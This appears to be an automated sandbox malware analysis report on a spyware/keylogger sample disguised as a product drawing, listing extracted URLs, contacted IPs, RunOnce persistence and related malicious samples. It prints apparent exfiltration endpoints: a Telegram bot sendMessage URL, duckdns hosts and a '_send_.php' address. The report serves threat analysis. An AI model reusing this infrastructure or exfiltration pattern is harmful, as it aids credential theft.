https://api.telegram.org/bot/sendMessage?chat_id=&text=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.thawte.com/ThawteTLSRSACAG1.crt0	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.0000000036960000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149615025.000000003697C000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22124915981.0000000004738000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A4A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://smtp.zoho.eu	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/Google	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035D94000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	Drawing_Products_Materials_and_Samples_IMG.exe, Sophia.exe.2.dr	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB8000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AC6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035E0D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?L	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=backslash&sourceid=chrome&ie=UTF-8backslash	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035ABE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anotherarmy.dns.army:8081	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034921000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000001.17726016358.00000000005F2000.00000020.00000001.01000000.00000006.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.000000003496A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/search?q=backslash&sourceid=chrome&ie=UTF-8https://www.google.com/search?q=ba	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DB3000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AC1000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035E04000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/79.127.132.20$	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A9B000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034AA6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034A90000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.0000000034ABE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DA2000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22140550905.00000000349E6000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035AB0000.00000004.00000800.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035DE2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gemini.google.com/app?q=	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22144177112.0000000035C52000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139880474.00000000346F0000.00000004.08000000.00040000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000003.17878640110.0000000004729000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22139401502.000000003446F000.00000004.00000020.00020000.00000000.sdmp, Drawing_Products_Materials_and_Samples_IMG.exe, 00000002.00000002.22149922122.0000000036A20000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
185.230.214.164	smtp.zoho.eu	Netherlands	41913	COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	true
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
64.188.18.75	unknown	United States	8100	ASN-QUADRANET-GLOBALUS	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1516835
Start date and time:	2024-09-24 16:27:38 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2021, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Drawing_Products_Materials_and_Samples_IMG.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/14@4/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 221 Number of non-executed functions: 131
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, nexusrules.officeapps.live.com
Execution Graph export aborted for target Drawing_Products_Materials_and_Samples_IMG.exe, PID 3392 because it is empty
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Drawing_Products_Materials_and_Samples_IMG.exe

Simulations

Behavior and APIs

Time	Type	Description
16:31:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce file C:\Users\user\AppData\Roaming\stub\Sophia.exe
16:31:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce file C:\Users\user\AppData\Roaming\stub\Sophia.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer	Browse
	Inv_230924193849328483pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	JrBeso.exe	Get hash	malicious	XWorm	Browse
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	lpg.cmd	Get hash	malicious	XWorm	Browse
	ha9wYxkNI7.lnk	Get hash	malicious	XWorm	Browse
	9KO1ScZ376.lnk	Get hash	malicious	XWorm	Browse
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Richiesta di preventivo__DOULIK INDUSTRIES Co (PTE) Ltd___PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
185.230.214.164	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Get hash	malicious	GuLoader	Browse
	CONSULTA#9978-PO24 ORDEN DE COMPRA DE MATERIALES DE MUESTRA_SK.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse
	Orden#46789_2024_Optoflux_mexico_sderlss.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	Orden#46789_2024_Optoflux_mexico_sderls.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	okPY77wv6E.exe	Get hash	malicious	AgentTesla	Browse
	RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe	Get hash	malicious	AgentTesla	Browse
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRYs.exe	Get hash	malicious	GuLoader	Browse
	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe	Get hash	malicious	AgentTesla	Browse
	INQUIRY#46789_MAY24_PLANEX_SERVICES_CONTRACTING_GOODS.exe	Get hash	malicious	AgentTesla	Browse
	VBG dk Payment Receipt --doc87349281.bat	Get hash	malicious	Remcos, AgentTesla, DBatLoader	Browse
158.101.44.242	Enquiry 88210103.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Items IMG16092024.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Arca Defense A.S_ sipari#U015fi UTR01072410 - Eu-CRSP0177462170924.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Bank Receipt Voucher.jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FACTURAS.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	hsbc swift.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Quote RF-E68-STD-094.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	new shipment details.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Enquiry 88210103.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	24924_Payment.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Items IMG16092024.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Inv_230924193849328483pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Richiesta di preventivo__DOULIK INDUSTRIES Co (PTE) Ltd___PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	TRANSFERENCIA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.RATX-gen.3768.11045.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
api.telegram.org	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Inv_230924193849328483pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	JrBeso.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lpg.cmd	Get hash	malicious	XWorm	Browse	149.154.167.220
	ha9wYxkNI7.lnk	Get hash	malicious	XWorm	Browse	149.154.167.220
	9KO1ScZ376.lnk	Get hash	malicious	XWorm	Browse	149.154.167.220
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Richiesta di preventivo__DOULIK INDUSTRIES Co (PTE) Ltd___PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.RATX-gen.3768.11045.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
smtp.zoho.eu	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Get hash	malicious	GuLoader	Browse	185.230.214.164
	CONSULTA#9978-PO24 ORDEN DE COMPRA DE MATERIALES DE MUESTRA_SK.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.214.164
	INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	RFQ448903423_MAT_HASUE_de_Mexico.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	File.com.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.212.164
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.212.164
	Orden#46789_2024_Optoflux_mexico_sderlss.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.214.164
	Orden#46789_2024_Optoflux_mexico_sderlsTY.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.230.214.164
reallyfreegeoip.org	Enquiry 88210103.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	24924_Payment.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Items IMG16092024.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Inv_230924193849328483pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Richiesta di preventivo__DOULIK INDUSTRIES Co (PTE) Ltd___PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	TRANSFERENCIA.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.Win32.RATX-gen.3768.11045.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer	Browse	149.154.167.220
	Inv_230924193849328483pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	http://zip.lu/?redirect=3k7wI	Get hash	malicious	Unknown	Browse	149.154.167.99
	JrBeso.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	lpg.cmd	Get hash	malicious	XWorm	Browse	149.154.167.220
	ha9wYxkNI7.lnk	Get hash	malicious	XWorm	Browse	149.154.167.220
	9KO1ScZ376.lnk	Get hash	malicious	XWorm	Browse	149.154.167.220
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
COMPUTERLINEComputerlineSchlierbachSwitzerlandCH	https://linklock.titanhq.com/analyse?url=https%3A%2F%2Femaze.me%2Fzinninsurance%23untitled2&data=eJxdjMEKwjAQRL-mOYa20RgPOXgpVUT8hbgJGEw2ZbNB6NebszCHN_BmwGp1Pk1HbUZtzCS8hYK1JQYXSELJItv5vj4q4fN6W7-iWiqviMNhpOY_ETcqvgHHvpIYWJCFlEtCR135_2r2zbzVQV2GeekJ2e1B5tBxj4ix2-QQelcNOXIKfv4BXds4OQ%%	Get hash	malicious	Unknown	Browse	89.36.170.147
	CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe	Get hash	malicious	GuLoader	Browse	185.230.214.164
	CONSULTA#9978-PO24 ORDEN DE COMPRA DE MATERIALES DE MUESTRA_SK.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.214.164
	https://americanathletic.zohodesk.com/portal/en/kb/articles/secure-business-documents	Get hash	malicious	Unknown	Browse	89.36.170.147
	INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	172473834493f9dd4c11e505629bd9b8efb5932f698a99acd495429ea8dcfe99effc6f3741352.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	RFQ448903423_MAT_HASUE_de_Mexico.js	Get hash	malicious	AgentTesla	Browse	185.230.212.164
	bat.bat	Get hash	malicious	AsyncRAT, DcRat, PureLog Stealer, XWorm, zgRAT	Browse	185.230.212.169
	File.com.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	185.230.212.164
ASN-QUADRANET-GLOBALUS	11062370MXQRQ353000718_001.doc	Get hash	malicious	Unknown	Browse	66.63.187.123
	http://closingdocuments.z13.web.core.windows.net/	Get hash	malicious	HTMLPhisher	Browse	104.194.214.213
	swift.doc	Get hash	malicious	Nanocore	Browse	66.63.187.123
	ZPujMIT7Vs.exe	Get hash	malicious	Remcos, DBatLoader	Browse	192.161.184.44
	jNGMZWmt23.elf	Get hash	malicious	Mirai	Browse	195.80.56.3
	NO7367027738832_789257820.doc	Get hash	malicious	AgentTesla	Browse	66.63.187.123
	NO7367027738832_789257820.doc	Get hash	malicious	AgentTesla	Browse	66.63.187.123
	ORDER.exe	Get hash	malicious	FormBook, GuLoader	Browse	107.150.19.141
	Overdoers.exe	Get hash	malicious	FormBook, GuLoader	Browse	64.188.18.75
	Pedido_52038923_CotizacionS_max2024.bat.exe	Get hash	malicious	GuLoader	Browse	107.150.19.141
ORACLE-BMC-31898US	Enquiry 88210103.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Items IMG16092024.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	SecuriteInfo.com.Linux.Siggen.9999.29695.14613.elf	Get hash	malicious	Unknown	Browse	129.147.170.96
	SecuriteInfo.com.Linux.Siggen.9999.31454.15725.elf	Get hash	malicious	Unknown	Browse	129.146.156.199
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Richiesta di preventivo__DOULIK INDUSTRIES Co (PTE) Ltd___PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	TRANSFERENCIA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	dhl Express awb _ docs 73907708353. _17.09.2024 %100%_docx.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Enquiry 88210103.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	24924_Payment.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Items IMG16092024.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Inv_230924193849328483pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	SWIFT COPY.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	dekont_20240918_38847738373.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Richiesta di preventivo__DOULIK INDUSTRIES Co (PTE) Ltd___PDF.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	TRANSFERENCIA.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SecuriteInfo.com.Win32.RATX-gen.3768.11045.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	1504 PM.msg	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	IEnetbookCookies.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	149.154.167.220
	https://geemennilogii.gitbook.io/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://pub-382f9bec371e490e8d86f2689f3915b0.r2.dev/response_start.html	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://218.203.148.37.host.secureserver.net/?BLzDqtOtKg=YbkczbGNvZWxob0BlZW0ucHQ=	Get hash	malicious	Unknown	Browse	149.154.167.220
	Ziraat Bankas#U0131 Swift Mesaj#U0131_Report9278837374.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.220
	http://coinnbbasuproslogen.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsw1382.tmp\System.dll	RFQ.exe	Get hash	malicious	FormBook, GuLoader	Browse
	RFQ.exe	Get hash	malicious	GuLoader	Browse
	RFQ.exe	Get hash	malicious	FormBook	Browse
	RFQ.exe	Get hash	malicious	Unknown	Browse
	Document#.exe	Get hash	malicious	Remcos	Browse
	Document#.exe	Get hash	malicious	Unknown	Browse
	dhl_awb_shipping_invoice_24_05_2024_000000000000024.exe	Get hash	malicious	GuLoader, Remcos	Browse
	dhl_awb_shipping_invoice_24_05_2024_000000000000024.exe	Get hash	malicious	GuLoader	Browse
	vpv0eXLADR.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsc21DE.tmp

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	4.256564762130954
Encrypted:	false
SSDEEP:	3:DyWgLQIfLBJXmgU:mkIP25
MD5:	F15BFDEBB2DF02D02C8491BDE1B4E9BD
SHA1:	93BD46F57C3316C27CAD2605DDF81D6C0BDE9301
SHA-256:	C87F2FF45BB530577FB8856DF1760EDAF1060AE4EE2934B17FDD21B7D116F043
SHA-512:	1757ED4AE4D47D0C839511C18BE5D75796224D4A3049E2D8853650ACE2C5057C42040DE6450BF90DD4969862E9EBB420CD8A34F8DD9C970779ED2E5459E8F2F1
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	user32::EnumWindows(i r1 ,i 0)

C:\Users\user\AppData\Local\Temp\nsg1EA1.tmp

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.1929554228332
Encrypted:	false
SSDEEP:	3:sAAEVvjsd1o84n:fLV
MD5:	AE7C0E5EC83AA79C677749769D8548CE
SHA1:	CFA4516337AFC5CE5F786B2E78740DAC4AF5CD47
SHA-256:	4015F44C7FA491CA2E52C797A3CD77CBA2C3AEF3584A6710B9E7C71411605008
SHA-512:	A797354195BB5FCFEAB9C49B98C88EB4B164CC2745EE4EE73EB51892885D56259A93F4FFA667ECE905F4C1F060D451CE1F1098B14BD5DC049387D7A27678DA18
Malicious:	false
Reputation:	low
Preview:	kernel32::ReadFile(i r5, i r1, i 48144384,*i 0, i 0)i.r3

C:\Users\user\AppData\Local\Temp\nsi1855.tmp

Download File

Process:	C:\Users\user\Desktop\Drawing_Products_Materials_and_Samples_IMG.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	4.0914493934217315
Encrypted:	false
SSDEEP:	3:sBa99k1NoCFOn:KankVg
MD5:	5D04A35D3950677049C7A0CF17E37125
SHA1:	CAFDD49A953864F83D387774B39B2657A253470F
SHA-256:	A9493973DD293917F3EBB932AB255F8CAC40121707548DE100D5969956BB1266
